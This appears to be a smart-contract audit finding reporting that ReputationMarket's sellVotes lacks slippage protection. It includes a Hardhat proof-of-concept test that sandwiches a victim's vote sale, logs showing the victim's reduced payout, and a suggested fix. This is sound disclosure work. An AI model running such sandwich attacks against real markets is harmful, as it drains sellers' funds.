Skip to content

Latest commit

 

History

History
152 lines (108 loc) · 4.61 KB

File metadata and controls

152 lines (108 loc) · 4.61 KB

Teeny Smoke Grasshopper

High

In ReputationMarket, sellers are vulnerable to a sandwich attack

Summary

The missing slippage protection in ReputationMarket#sellVotes will make sellers vulnerable to a sandwich attack.

Root Cause

The slippage protection is implemented in buyVotes

https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L442

  function buyVotes(
    uint256 profileId,
    bool isPositive,
>>  uint256 expectedVotes,
>>  uint256 slippageBasisPoints
  ) public payable whenNotPaused activeMarket(profileId) nonReentrant {

But in sellVotes, the slippage protection is missing

https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495

  function sellVotes(
    uint256 profileId,
    bool isPositive,
    uint256 amount
  ) public whenNotPaused activeMarket(profileId) nonReentrant {

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

  1. The attacker buys votes in the opposite direction of the victim.
  2. The victim sells votes.
  3. The attacker sells votes in the opposite direction of the victim.

Impact

The sellers in ReputationMarket are vulnerable to a sandwich attack. Loss of funds.

PoC

  1. Create PoC.test.ts in test/reputationMarket
  2. Run NODE_OPTIONS='--no-warnings=ExperimentalWarning --experimental-loader ts-node/esm/transpile-only' npx hardhat test test/reputationMarket/PoC.test.ts

PoC.test.ts:

import { loadFixture } from '@nomicfoundation/hardhat-toolbox/network-helpers.js';
import { use } from 'chai';
import chaiAsPromised from 'chai-as-promised';
import { type ReputationMarket } from '../../typechain-types/index.js';
import { type EthosUser } from '../utils/ethosUser.js';
import { createDeployer, type EthosDeployer } from '../utils/deployEthos.js';
import { DEFAULT, MarketUser } from './utils.js';

/* eslint-disable react-hooks/rules-of-hooks */
use(chaiAsPromised as Chai.ChaiPlugin);

describe('PoC', () => {
  let deployer: EthosDeployer;
  let marketUser : EthosUser, ethosVictim: EthosUser, ethosAttacker : EthosUser;
  let victim: MarketUser;
  let attacker: MarketUser;
  let reputationMarket: ReputationMarket;

  let victimTotalVotes: bigint = 10n;
  let victimBalanceBefore: bigint;

  beforeEach(async () => {
    deployer = await loadFixture(createDeployer);

    if (!deployer.reputationMarket.contract) {
      throw new Error('ReputationMarket contract not found');
    }
    [marketUser, ethosVictim, ethosAttacker] = await Promise.all([
      deployer.createUser(),
      deployer.createUser(),
      deployer.createUser(),
    ]);
    await Promise.all([ethosVictim.setBalance('2000'), ethosAttacker.setBalance('2000')]);

    victim = new MarketUser(ethosVictim.signer);
    attacker = new MarketUser(ethosAttacker.signer);

    reputationMarket = deployer.reputationMarket.contract;
    DEFAULT.reputationMarket = reputationMarket;
    DEFAULT.profileId = marketUser.profileId;

    await reputationMarket
      .connect(deployer.ADMIN)
      .createMarketWithConfigAdmin(marketUser.signer.address, 0, {
        value: DEFAULT.initialLiquidity,
      });

    for (let i = 0; i < victimTotalVotes; i++) {
      await victim.buyOneVote({ profileId: DEFAULT.profileId, isPositive: true});
    }
    
    victimBalanceBefore = await ethosVictim.getBalance();
  });

  it('Without sandwich attack', async () => {
    await victim.sellVotes({ profileId: DEFAULT.profileId, isPositive: true, sellVotes: victimTotalVotes});
    console.log("Total received: ", await ethosVictim.getBalance() - victimBalanceBefore);
  })

  it('With sandwich attack', async () => {
    let attackerTotalVotes:bigint = 15n;  

    for (let i = 0; i < attackerTotalVotes; i++) {
      await attacker.buyOneVote({ profileId: DEFAULT.profileId, isPositive: false });
    }

    await victim.sellVotes({ profileId: DEFAULT.profileId, isPositive: true, sellVotes: victimTotalVotes});

    await attacker.sellVotes({ profileId: DEFAULT.profileId, isPositive: false, sellVotes: attackerTotalVotes});    

    console.log("Total received: ", await ethosVictim.getBalance() - victimBalanceBefore);
  })
});

Logs

Without sandwich attack
Total received:  79665279363732660n
With sandwich attack
Total received:  24074290343831753n

There is a big difference in the amount of ETH that the victim will receive in case the attacker performs the sandwich attack.

Mitigation

Implement slippage protection in sellVotes.